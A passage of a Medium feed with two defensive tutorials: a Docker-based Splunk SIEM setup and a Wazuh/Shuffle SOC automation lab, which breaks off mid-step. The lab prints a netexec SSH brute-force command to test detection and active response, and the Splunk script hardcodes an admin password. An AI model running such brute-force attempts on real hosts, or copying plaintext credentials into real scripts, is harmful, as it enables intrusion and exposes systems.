src="https://cdn-images-1.medium.com/max/1024/1*SA7_9CAWhSkUzKIpM0EFKw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2FAZPqex5VblcSfVPAK42A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OWLuHkV1BdhffPjSypLQlg.png" /></figure><h3>The Modern Way — Automated Splunk Deployment via Docker</h3><p>As a security automation engineer, I prefer to avoid running endless manual dpkg commands and tweaking configuration files one by one. Instead, we can deploy our entire Splunk SIEM architecture as Infrastructure as Code using Docker.</p><h3>1. Directory Preparation</h3><p>Before spinning up the container, create two specific folders in your working directory. These will be mapped as volumes into the Docker container:</p><ul><li>deployment-apps/: This folder will hold the applications and configurations for the Deployment Server (DS) to push out to your Universal Forwarders rather than configure it manual on each machine.</li><li>splunk-apps/: Download your required Splunk Add-ons as .tgz files from Splunkbase and place them in here.</li></ul><blockquote><strong>Note</strong>: The folders should be in the same directory with yml docker file.</blockquote><h3>2. The Docker Compose Configuration</h3><p>Create a docker-compose.yml file. This file defines our Splunk server, accepts the license automatically, sets the admin password, and maps our critical ports and directories.</p><pre>version: &#39;3.8&#39;<br>services:<br>  splunk:<br>    image: splunk/splunk:9.4.6<br>    container_name: splunk_idx_sh<br>    hostname: splunk-server<br>    environment:<br>      - SPLUNK_START_ARGS=--accept-license<br>      - SPLUNK_PASSWORD=@CHANGE_ME<br>      - SPLUNK_ROLE=splunk_standalone<br>    ports:<br>      - &quot;8000:8000&quot; # Web UI<br>      - &quot;8089:8089&quot; # Deployment/Management API<br>      - &quot;9997:9997&quot; # Forwarder Ingestion<br>    volumes:<br>      - splunk_etc:/opt/splunk/etc<br>      - splunk_var:/opt/splunk/var<br>      - ./splunk-apps:/tmp/splunk-apps<br>      - ./deployment-apps:/opt/splunk/etc/deployment-apps<br>    restart: unless-stopped<br>volumes:<br>  splunk_etc:<br>  splunk_var:</pre><p>Run docker compose up -d and wait a few minutes for the container status to become &quot;healthy&quot; use the commanddocker ps.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8eOFaHkttj227P6_65OlIg.png" /></figure><h3>3. The Post-Deployment Automation Script</h3><p>Once the container is running, we need to configure Splunk. Doing this through the Web UI takes time. Instead, I wrote a bash script that executes commands directly inside the Docker container to automate the entire backend configuration in one go.</p><p>Run this entire block of code in your terminal:</p><pre>#!/bin/bash<br>echo &quot;1. Enabling Receiving on Port 9997...&quot;<br>docker exec -u splunk splunk_idx_sh /opt/splunk/bin/splunk enable listen 9997 -auth admin:99fe18nan9D<br>echo &quot;2. Installing all Add-ons from the splunk-apps folder...&quot;<br>docker exec -u splunk splunk_idx_sh bash -c &#39;for app in /tmp/splunk-apps/*.tgz; do /opt/splunk/bin/splunk install app &quot;$app&quot; -auth admin:99fe18nan9D -update 1; done&#39;<br>echo &quot;3. Creating Custom Indexes (wineventlog, sysmon, linux_logs)...&quot;<br>docker exec -u splunk splunk_idx_sh bash -c &#39;cat &lt;&lt;EOF &gt; /opt/splunk/etc/system/local/indexes.conf<br>[wineventlog]<br>homePath   = \$SPLUNK_DB/wineventlog/db<br>coldPath   = \$SPLUNK_DB/wineventlog/colddb<br>thawedPath = \$SPLUNK_DB/wineventlog/thaweddb<br>frozenTimePeriodInSecs = 7776000<br>maxTotalDataSizeMB = 51200<br>[sysmon]<br>homePath   = \$SPLUNK_DB/sysmon/db<br>coldPath   = \$SPLUNK_DB/sysmon/colddb<br>thawedPath = \$SPLUNK_DB/sysmon/thaweddb<br>frozenTimePeriodInSecs = 15552000<br>maxTotalDataSizeMB = 102400<br>[linux_logs]<br>homePath   = \$SPLUNK_DB/linux_logs/db<br>coldPath   = \$SPLUNK_DB/linux_logs/colddb<br>thawedPath = \$SPLUNK_DB/linux_logs/thaweddb<br>frozenTimePeriodInSecs = 7776000<br>maxTotalDataSizeMB = 20480<br>EOF&#39;<br>echo &quot;4. Enabling the Deployment Server...&quot;<br>docker exec -u splunk splunk_idx_sh /opt/splunk/bin/splunk enable deploy-server -auth admin:99fe18nan9D<br>echo &quot;5. Automating Deployment Server Classes (serverclass.conf)...&quot;<br>docker exec -u splunk splunk_idx_sh bash -c &#39;cat &lt;&lt;EOF &gt; /opt/splunk/etc/system/local/serverclass.conf<br>[serverClass:Windows_Endpoints]<br>machineTypesFilter = windows<br>restartSplunkd = true<br>[serverClass:Windows_Endpoints:app:windows_forwarder_config]<br>stateOnClient = enabled<br>restartSplunkd = true<br>EOF&#39;<br>echo &quot;6. Configuring Sysmon Add-on Parsing on Indexer...&quot;<br>docker exec -u splunk splunk_idx_sh bash -c &#39;mkdir -p /opt/splunk/etc/apps/Splunk_TA_microsoft-sysmon/local &amp;&amp; cat &lt;&lt;EOF &gt; /opt/splunk/etc/apps/Splunk_TA_microsoft-sysmon/local/inputs.conf<br>[WinEventLog://Microsoft-Windows-Sysmon/Operational]<br>disabled = false<br>index = sysmon<br>renderXml = false<br>EOF&#39;<br>echo &quot;7. Restarting Splunk to apply all configurations...&quot;<br>docker compose restart</pre><h3>4. Verifying and Configuring the Deployment Server</h3><p>Now that our backend automation has executed, we need to verify that the Deployment Server (DS) is active and properly routing our configurations via the Splunk Web UI.</p><ol><li>Log in to Splunk Web and navigate to <strong>Settings</strong> → <strong>Forwarder Management</strong>.</li><li>This is your central hub for monitoring all connected Universal Forwarder agents. Because of the automation script we ran earlier, you should automatically see a Server Class pre-configured under the name <strong>Windows_Endpoints</strong>. <em>(Note: If you skipped the automation script, you can manually create a new Server Class from this menu).</em></li></ol><p>The final step is to assign our deployment configuration app to this specific group:</p><ol><li>Within the Forwarder Management dashboard, locate your deployment apps (this maps directly to the configurations we placed in the mapped deployment-apps Docker folder).</li><li>Edit the <strong>Windows_Endpoints</strong> Server Class and assign your Windows configuration app to it.</li></ol><p><strong>Why do we do this?</strong> By mapping this configuration app to the Server Class, you are creating an automated provisioning pipeline. Whenever a new Windows machine joins your SIEM and checks in with the Deployment Server, it will automatically download its designated configuration and begin forwarding logs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6O8jH3Al4pYP9J8V04Q5tw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IFuuxJCMk5h6xWhp6gRy9w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/197/1*hi5LPjIvZlmveog0vXKOCg.png" /></figure><h3>Breaking Down the Automation</h3><p>To understand the mechanics happening under the hood, here is a breakdown of what the script achieves:</p><ul><li><strong>Enables Receiving (Port 9997):</strong> Opens the listener on the indexer so it can securely receive logs from the Universal Forwarders.</li><li><strong>Batch Installs Add-ons:</strong> Loops through your mapped splunk-apps folder and silently installs every downloaded .tgz Splunkbase add-on.</li><li><strong>Creates Custom Indexes:</strong> Dynamically generates an indexes.conf file. This partitions your data into specific buckets (wineventlog, sysmon, linux_logs) while establishing data retention policies and disk size limits to prevent your server from crashing.</li><li><strong>Enables the Deployment Server:</strong> Activates Splunk’s built-in central management hub.</li><li><strong>Automates Server Classes:</strong> Generates a serverclass.conf file to create a deployment group specifically for Windows endpoints, preparing it to push out the configurations stored in your deployment-apps directory.</li><li><strong>Configures Sysmon Parsing:</strong> Directs the Splunk Sysmon Add-on to correctly route and render logs into your newly created sysmon index.</li><li><strong>Restarts Splunk:</strong> Triggers a container restart to seamlessly apply all backend configuration changes at once.</li></ul><h3>Conclusion: Building the Automated Foundation</h3><p>Deploying a SIEM from scratch doesn’t have to be a manual, tedious process. By leveraging Docker and Infrastructure as Code, we successfully implemented a full Splunk architecture — complete with endpoint visibility via Sysmon, log routing, and automated backend configurations — in a fraction of the time.</p><p>But getting the infrastructure running and the data flowing is just step one. Now that we have a solid, automated foundation, we can start turning this raw telemetry into actionable intelligence.</p><p>In future guides, we will expand on this setup by diving into:</p><ul><li><strong>Custom Indexes:</strong> Optimizing data storage and retention policies.</li><li><strong>Advanced Alerting:</strong> Building real-time and scheduled alerts to catch active threats.</li><li><strong>SOC Integrations:</strong> Connecting Splunk to external incident response platforms and SOAR tools to handle alerts at machine speed.</li></ul><p>The infrastructure is built now the real engineering begins.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=437036f50f57" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/from-scratch-to-siem-full-splunk-implementation-and-automation-with-docker-437036f50f57">From Scratch to SIEM: Full Splunk Implementation and Automation with Docker</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SOC Automation Lab — By Kimmy]]></title>
            <link>https://medium.com/@0xKimmy/soc-automation-lab-2c055d67e9bb?source=rss-cdc782bf2cb4------2</link>
            <guid isPermaLink="false">https://medium.com/p/2c055d67e9bb</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[soc-analyst]]></category>
            <category><![CDATA[automation]]></category>
            <category><![CDATA[soar]]></category>
            <category><![CDATA[siem]]></category>
            <dc:creator><![CDATA[Kimmy]]></dc:creator>
            <pubDate>Thu, 03 Apr 2025 01:03:09 GMT</pubDate>
            <atom:updated>2025-04-03T01:21:51.876Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oyGrno7r_uTSJtlDvkO6Pw.png" /></figure><p>Rakan Adnan (kimmy) | 3 April 2025</p><p><strong>In this article, I will provide a comprehensive guide on setting up a Security Operations Center (SOC) lab. I will demonstrate the implementation of Wazuh SIEM, including the deployment and configuration of agents. Additionally, I will walk through an attack scenario to showcase how Wazuh detects security threats and response to them. Finally, I will explore the integration of automation in a SOC analyst environment using Shuffle SOAR.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aPK7fART4vHZKvr60nlWcA.png" /></figure><h3>What is a SIEM?</h3><p>Security Information and Event Management the point of a SIEM is to collect, aggregate, and analyze large volumes of data from organization-wide applications, devices, servers, and users in real time in other words its (log collector).</p><h3>What is a SOAR?</h3><p>Security Orchestration, Automation, and Response the point of a SOAR platform is to handle an incident end-to-end — automating before, during and after the incident.</p><h3>Wazuh</h3><h3>What is Wazuh?</h3><p>Wazuh is a free and open source platform used for threat prevention, detection, and response. It is capable of protecting workloads across on-premises, virtualized, containerized, and cloud-based environments you can explore more on the <a href="https://wazuh.com/">Wazuh website</a>.</p><h3>Wazuh Components</h3><ol><li>Wazuh indexer:</li></ol><ul><li>its search engine it do central component indexes and stores alerts that come from Wazuh server.</li></ul><p><strong>2. Wazuh server:</strong></p><ul><li>the server analyze the data received from the Wazuh agents to clear this you install the agent on the device you want to monitor this agent will send the logs you want to the server and it will be stored in the index to get analyzed later.</li></ul><p><strong>3. Wazuh agent:</strong></p><ul><li>its multi-platform and it runs on the device that we want to monitor it sends the info or the logs that we want to monitor to the server.</li></ul><p><strong>4. Wazuh dashboard:</strong></p><ul><li>It’s a web interface for analyzing the security data its just a ui to summarize the state.</li></ul><h3>Step-by-Step Installation of Wazuh</h3><ul><li>First Download Wazuh installation assistant and the configuration file.</li></ul><blockquote>curl -sO &lt;https://packages.wazuh.com/4.11/wazuh-install.sh&gt; <br>curl -sO &lt;https://packages.wazuh.com/4.11/config.yml&gt;</blockquote><p>After download two files will shows up:</p><ul><li>wazuh-install.sh (installation script)</li><li>config.yml (configuration file)</li></ul><h3>Configuring the Wazuh Installation</h3><p>Before proceeding with the installation, we need to configure config.yml by defining the IP addresses of the Wazuh components. It is recommended to assign static IP addresses to ensure stability.</p><pre>nodes:<br>  # Wazuh indexer nodes<br>  indexer:<br>    - name: node-1<br>      ip: &quot;&lt;indexer-node-ip&gt;&quot;<br>    #- name: node-2<br>    #  ip: &quot;&lt;indexer-node-ip&gt;&quot;<br>    #- name: node-3<br>    #  ip: &quot;&lt;indexer-node-ip&gt;&quot;<br><br>  # Wazuh server nodes<br>  # If there is more than one Wazuh server<br>  # node, each one must have a node_type<br>  server:<br>    - name: wazuh-1<br>      ip: &quot;&lt;wazuh-manager-ip&gt;&quot;<br>    #  node_type: master<br>    #- name: wazuh-2<br>    #  ip: &quot;&lt;wazuh-manager-ip&gt;&quot;<br>    #  node_type: worker<br>    #- name: wazuh-3<br>    #  ip: &quot;&lt;wazuh-manager-ip&gt;&quot;<br>    #  node_type: worker<br><br>  # Wazuh dashboard nodes<br>  dashboard:<br>    - name: dashboard<br>      ip: &quot;&lt;dashboard-node-ip&gt;&quot; </pre><p>Replace &lt;indexer-node-ip&gt;, &lt;wazuh-manager-ip&gt;, and &lt;dashboard-node-ip&gt; with your actual IP addresses.</p><h3>Generating Configuration Files</h3><p>Once the config.yml file is updated, run the following command to generate the necessary configuration files:</p><pre>bash wazuh-install.sh --generate-config-files</pre><p>This process will create a compressed file (wazuh-install-files.tar), which contains all the required configurations, including the admin credentials.</p><h3>Installing Wazuh</h3><p>To install Wazuh, execute the following command:</p><pre>sudo bash ./wazuh-install.sh -a</pre><p>The -a flag ensures an <strong>all-in-one installation</strong>, setting up all components on a single machine.</p><p>Once the installation is complete, make sure to save the <strong>admin password</strong> displayed on the screen.</p><p>You can now access the Wazuh dashboard by navigating to <a href="https://your-ip/">https://your-ip</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bfcxk2LnihiHap5B-gOW9g.png" /></figure><h3>Automating the Installation Process</h3><p>To simplify the installation, I have created a script that automates the entire process, including downloading the required files, configuring IP addresses, and executing the installation.</p><h3>Automated Wazuh Installation Script</h3><pre>#!/bin/bash<br><br># Download the required files<br>curl -sO https://packages.wazuh.com/4.11/wazuh-install.sh<br>curl -sO https://packages.wazuh.com/4.11/config.yml<br><br># Ensure files exist<br>if [[ ! -f &quot;wazuh-install.sh&quot; || ! -f &quot;config.yml&quot; ]]; then<br>    echo &quot;Error: Failed to download required files. Exiting.&quot;<br>    exit 1<br>fi<br><br># Prompt user for IP configuration<br>echo &quot;Enter the IP address for Wazuh Indexer: &quot;<br>read indexer_ip<br><br>echo &quot;Do you want the same IP for all three Indexer nodes and the Dashboard? (yes/no)&quot;<br>read same_ip<br><br>if [[ &quot;$same_ip&quot; == &quot;yes&quot; ]]; then<br>    server_ip=$indexer_ip<br>    dashboard_ip=$indexer_ip<br>else<br>    echo &quot;Enter the IP address for Wazuh Server: &quot;<br>    read server_ip<br>    echo &quot;Enter the IP address for Wazuh Dashboard: &quot;<br>    read dashboard_ip<br>fi<br><br># Update config.yml with user-provided IPs<br>sed -i &quot;s/&lt;indexer-node-ip&gt;/\&quot;$indexer_ip\&quot;/&quot; config.yml<br>sed -i &quot;s/&lt;wazuh-manager-ip&gt;/\&quot;$server_ip\&quot;/&quot; config.yml<br>sed -i &quot;s/&lt;dashboard-node-ip&gt;/\&quot;$dashboard_ip\&quot;/&quot; config.yml<br><br># Run the installation steps<br>sudo bash wazuh-install.sh --generate-config-files<br>sudo bash wazuh-install.sh -a<br><br>echo &quot;Wazuh installation completed successfully script done by Kimmy.&quot;</pre><h3>Deploying a New Agent from the Wazuh Dashboard</h3><ol><li><strong>Access the Wazuh Dashboard</strong></li></ol><ul><li>Navigate to the <strong>Agent Summary</strong> section.</li><li>Click on <strong>Deploy New Agent</strong> to begin the deployment process.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*i0uySzZRXYYzTEmrdfzByA.png" /></figure><p><strong>2. Configure the Windows Agent</strong></p><ul><li>Select <strong>Windows</strong> as the operating system.</li><li>Enter the <strong>Wazuh Server IP</strong> to establish communication between the agent and the server.</li><li>Assign a <strong>unique agent name</strong> for identification.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*33eW8W3ehE8KKKnbTuWcRQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2QAMZ_DLEtU7S6L1cH1nCQ.png" /></figure><p><strong>3. Install and Start the Agent</strong></p><ul><li>Run the following commands on the Windows system to ensure the agent is installed and running correctly:</li></ul><pre>Get-Service WazuhSvc</pre><p>Verify that the <strong>WazuhSvc</strong> service is active.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/335/1*TrcuL2THnhg-qRAo1Fv5xw.png" /></figure><h3>Installing Sysmon for Advanced Monitoring</h3><p>Sysmon (System Monitor) is a Windows system service that logs detailed system activity.</p><ol><li><strong>Download and Install Sysmon</strong></li></ol><ul><li>Download Sysmon from the official Microsoft website: <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon">Sysmon</a>.</li><li>Extract the Sysmon files to a designated folder.</li></ul><p><strong>2. Configure Sysmon</strong></p><ul><li>Download a pre-configured Sysmon ruleset from the following repository: <a href="https://github.com/olafhartong/sysmon-modular/blob/master/sysmonconfig.xml">Sysmon Configuration</a>.</li><li>Extract the Sysmon configuration file and place it in the <strong>Sysmon folder</strong>.</li></ul><p><strong>3. Apply the Sysmon Configuration</strong></p><ul><li>Run Sysmon with the downloaded configuration to start monitoring system activity effectively.</li></ul><pre>.\Sysmon64.exe -i .\sysmonconfig.xml</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*samwvMZNdWt3nUk0ib9TKQ.png" /></figure><p><strong>To make sure the service is running run </strong><strong>Get-Service Sysmon64</strong></p><h3>Forwarding Sysmon Logs to Wazuh</h3><p>To collect Sysmon logs in Wazuh, we need to modify the <strong>ossec.conf</strong> file located at:</p><p>C:\\Program Files (x86)\\ossec-agent</p><ol><li><strong>Edit the ossec.conf File</strong></li></ol><ul><li>Add the following configuration to enable Sysmon log forwarding:</li></ul><pre>&lt;localfile&gt;<br>	&lt;location&gt;Microsoft-Windows-Sysmon/Operational&lt;/location&gt;<br>	&lt;log_format&gt;eventchannel&lt;/log_format&gt;<br>&lt;/localfile&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-nE4qIVyN74OqpKnWOfvKA.png" /></figure><p><strong>2. Restart the Wazuh Agent Service</strong></p><ul><li>Run the following command to apply the changes:</li></ul><pre>Restart-Service WazuhSvc</pre><h3>Adding a Linux Agent to Wazuh</h3><p>To add a Linux agent to Wazuh, follow these steps:</p><ol><li><strong>Access the Wazuh Dashboard</strong></li></ol><ul><li>Navigate to the <strong>Agent Summary</strong> section.</li><li>Click on <strong>Deploy New Agent</strong> to initiate the deployment process.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mUIftMSlW9Vo5TlMcXb0ag.png" /></figure><p><strong>2. Install the Wazuh Agent on Linux</strong></p><ul><li>Run the following commands on the Linux machine to install and register the agent:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_qimvTZGRtMNHGikmeWx0w.png" /></figure><ul><li>Here we have two agents on wazuh one is windows and one is linux</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AL73fYpW5REeD5GzvQSVDQ.png" /></figure><h3>Shuffle</h3><h3>What is Shuffle?</h3><p>Shuffle is an open-source Security Orchestration, Automation, and Response (SOAR) platform that helps automate security workflows you can explore more on the <a href="https://shuffler.io/">shuffle website</a>.</p><h3>Installing and Configuring Shuffle</h3><ol><li><strong>Install Docker and Docker-Compose</strong></li></ol><ul><li>Ensure Docker and Docker-Compose are installed on your system by running:</li></ul><pre>sudo apt install -y docker.io docker-compose<br>sudo systemctl enable docker<br>sudo systemctl start docker</pre><p><strong>2. Download and Run Shuffle</strong></p><ul><li>Clone the Shuffle repository and start the service using Docker-Compose:</li></ul><pre>git clone https://github.com/Shuffle/Shuffle.git<br>cd Shuffle<br>sudo docker-compose up -d</pre><p><strong>3. Access the Shuffle Web Interface</strong></p><ul><li>Open your web browser and navigate to:</li></ul><p><a href="https://your-ip:3001/">https://your-ip:3001</a></p><p><strong>4. Apply Required Configurations</strong></p><ul><li>Run the following commands to set correct permissions and restart required services:</li></ul><pre>sudo chown -R 1000:1000 shuffle-database<br>sudo swapoff -a<br>sudo docker restart shuffle-opensearch</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*hrHTNF7aczxlZc2zwax0Eg.png" /></figure><ul><li>Sign up for an account on the Shuffle web interface and log in.</li><li><strong>Note: After creating a workflow you will notice some applications are missing. To fix this do these steps</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2-bMjPHZtOqQt3UMO_slpQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E8LBO1oa4pHj9avjOYPEPQ.png" /></figure><h3>SSH Attack Simulation and Detection with Automation</h3><p>To enhance security monitoring, we will simulate an SSH attack, configure Wazuh to detect it, and automate the response using Shuffle.</p><h3>Simulating an SSH Attack</h3><p>Run the following command using <strong>netexec</strong> to attempt an SSH brute-force attack:</p><pre>netexec ssh ip_address -u users.txt -p passwords.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J27AIW2eUP0BFGkhS1N9YQ.png" /></figure><h3>Configuring Wazuh to Detect SSH Brute Force Attempts</h3><ol><li><strong>Monitor Wazuh Alerts</strong></li></ol><ul><li>Wazuh generates alerts when SSH brute-force attempts occur.</li><li>An alert is triggered after three failed SSH attempts with <strong>Event ID 5710</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sMiNJUxDtGZGOHIOPuEjHg.png" /></figure><p><strong>2. Setting Up Active Response in Wazuh</strong></p><ul><li>Edit the <strong>ossec.conf</strong> file on the Wazuh manager located at:</li></ul><p>/var/ossec/etc/ossec.conf</p><ul><li>Add the following <strong>active response</strong> configuration to drop traffic from detected attackers:</li></ul><pre>&lt;active-response&gt;<br>    &lt;command&gt;firewall-drop&lt;/command&gt;<br>    &lt;location&gt;local&lt;/location&gt;<br>    &lt;timeout&gt;no&lt;/timeout&gt;<br>&lt;/active-response&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nR5RZ8kIoH3IsTFroS4-sQ.png" /></figure><ul><li><strong>Edits breakdown:</strong></li></ul><ol><li>&lt;command&gt;the option i want to use&lt;/command&gt;</li><li>&lt;location&gt;local&lt;/location&gt; → what local mean that the host that generated the alert that where the script will run</li><li>&lt;timeout&gt;no&lt;/timeout&gt;</li></ol><ul><li>Restart the Wazuh service:</li></ul><pre>systemctl restart wazuh-manager</pre><h3>Important Consideration for API Usage</h3><p>When using Active Response with APIs, the command name appends the timeout value to the name, but it remains hidden. For example, if the command is set to firewall-drop and the timeout is 0 (or no), you must append the timeout when using the API.</p><h3>Verifying Active Response Script</h3><p>To check whether the active response script is running, use the <strong>agent control binary</strong> located at:</p><p>/var/ossec/bin/agent_control</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7IopBYpNSdRhvVt1I67wIA.png" /></figure><h3>Testing Active Response</h3><p>Run the following command to manually block an IP:</p><pre>./agent_control -b 8.8.8.8 -f firewall-drop0 -u 002</pre><ul><li>u specifies the agent ID (002 in this example), which can be found in the Wazuh dashboard.</li><li>This command will block traffic from the specified IP (e.g., 8.8.8.8).</li></ul><h3>Linux agent before active response:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*mblhrsyjqHKgyPDFrCUsBQ.png" /></figure><h3>linux agent After active response:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/446/1*_wWt3NfblwraEe9NuF_o4A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/504/1*3SAyyj5hzUXd-LcCW15dPw.png" /></figure><h3>Viewing Active Response Logs</h3><p>To verify actions taken by active response, check the logs at:</p><p>/var/ossec/logs/active-responses.log</p><h3>Automating SSH Attack Mitigation with Shuffle</h3><p>In this section, we will configure a workflow in Shuffle to automate blocking any source IP that attempts to connect to our linux machine via SSH.</p><h3>Step 1: Setting Up a Webhook in Shuffle</h3><ol><li>Log in to Shuffle.</li><li>Navigate to <strong>Workflows</strong> and create a new workflow.</li><li>Add a <strong>Webhook</strong> trigger to receive alerts from Wazuh.</li><li>Configure the webhook to parse incoming alert data.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OmIiAqhZ3wtLwLRV5KFHyg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vpJuQxqnxyICh2y-KG6_VQ.png" /></figure><p><strong>Now we need to add the webhook on the Wazuh server open </strong><strong>/var/ossec/etc/ossec.conf create </strong><strong>&lt;hook_url&gt; tags and put the webhook there</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-KaAuqtJTs80gtg571F4nQ.png" /></figure><p><strong>Note: we did put the &lt;rule_id&gt;5764&lt;/rule_id&gt; to tell wazuh send the alert with this rule_id to the webhook</strong></p><ul><li><strong>Restart the service</strong></li></ul><h3>Step 2: Configuring VirusTotal Integration</h3><ol><li>From the <strong>Apps</strong> section on the left side of Shuffle, select <strong>VirusTotal</strong>.</li><li>Configure the app by entering your <strong>VirusTotal API key</strong> (retrieved from your VirusTotal account).</li><li>Change the <strong>File Action</strong> to <strong>Get an IP Address Report</strong>.</li><li>In the <strong>IP section</strong>, enter the following value:</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Thk9L5sRBihQ-TdKxHtXXA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jLCycbbN-SvQKgx9W06CKg.png" /></figure><pre>$exec.all_fields.agent.ip</pre><h3>Step 3: Configuring HTTP App for API Execution</h3><ol><li>Add the <strong>HTTP</strong> app to the workflow.</li><li>Change the action type to <strong>curl</strong> to send API requests.</li><li>Get the JWT token</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lwOJo_-CKrD1KWPAeWAbCQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3GyTou3tZjCHzqdD60wg5Q.png" /></figure><pre>This command to get the JWT token:<br><br>curl -u username:password -k -X GET &quot;[https://wazuh_ip:55000/security/user/authenticate?raw=true](https://192.168.168.100:55000/security/user/authenticate?raw=true)&quot;</pre><h3>Step 4: Sending Alerts to Discord</h3><p>To enhance monitoring, we will send messages when the alert hit to a <strong>Discord server</strong> where the SOC team can review them and decide whether to block the IP:</p><ol><li><strong>Create a Discord Server</strong> if you don’t have one.</li><li>Go to the <strong>general channel</strong> (or any preferred channel) where you want to receive alerts.</li><li>Create a <strong>Discord bot</strong> and generate a <strong>Webhook URL</strong>.</li><li>Copy the Webhook URL for later use.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2FE_xxLcPaiDvDG16V_F9g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qMoaRv5JsVAoa-8U3nyMEw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VirkxpABXu5XUzNvwjbyBw.png" /></figure><h3>Step 6: Configuring the Discord App in Shuffle</h3><ol><li>Make another workflow, drag the <strong>Discord</strong> app.</li><li>Paste the <strong>Discord bot Webhook URL</strong> into the <strong>URL</strong> field.</li><li>Change the find actions to send a message</li><li>Go to <strong>Advanced Settings</strong> and configure the JSON body as you like(how the message would like and to receive)</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CppH8wiboeRTDT7QwPBvEw.png" /></figure><pre>JSON:<br><br>{ <br>&quot;content&quot;:&quot;**$exec.information**\n$exec.frontend_continue\n$exec.frontend_abort&quot;<br>}</pre><h3>Step 6: Adding User Input for SOC Analyst Decision</h3><p>To allow SOC analysts to choose whether to block an IP its like sending yes or no to wazuh active response to run, follow these steps:</p><ol><li>Add a <strong>User Input</strong> app in workflow.</li><li>In the <strong>Information Section</strong>, define the message to be displayed.</li><li>To include the source IP address in the message, use:</li></ol><pre>$exec.all_fields.data.srcip</pre><p>4. In the <strong>Input Option</strong>, select the desired method to send the message.</p><p>5. If you have already set up a Discord alert workflow, choose <strong>Subflow</strong> and select the Discord workflow.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8lyBTGSUOh4IHF-OgfQSzA.png" /></figure><h3>Step 7: Configuring Wazuh App for Active Response</h3><ol><li>Add the <strong>Wazuh</strong> app to the workflow.</li><li>Assign the API key (retrieved from the HTTP app, named <strong>API-Key</strong>).</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gKMEI1uacpAhCDulUak62Q.png" /></figure><p>3. Set the Shuffle URL with port <strong>55000</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CFjFYAri4jJLBVmSubW-Cw.png" /></figure><p>4. Scroll down and enter the <strong>Agent List</strong>:</p><ul><li>Retrieve the <strong>Agent ID</strong> from the Wazuh dashboard under <strong>Agents</strong>.</li><li>Alternatively, make it dynamic using <strong>runtime argument → agent → id</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S_NRNbcJjEBmXh_FCVQskA.png" /></figure><p>5. In the <strong>Command</strong> section, enter the active response action:</p><pre>firewall-drop0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m4ZmuykLKYwPiaQaBsMUwA.png" /></figure><p><strong>Note: “ If we went back to our logs for the active response we see how it takes the ip the ip that we want to block exist in alert section in this format as shown:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mh7cpf-n6D8tiydkG5PU6w.png" /></figure><p><strong>It tells me that ip should be in alert section in this format</strong></p><p><strong>{“data”:{“the_ip”}} now we want the source ip you can type it like this $exec.all_fields.data.srcip or bu going to virustotal queries section runtime argument → data → srcip “</strong></p><figure><img alt="" 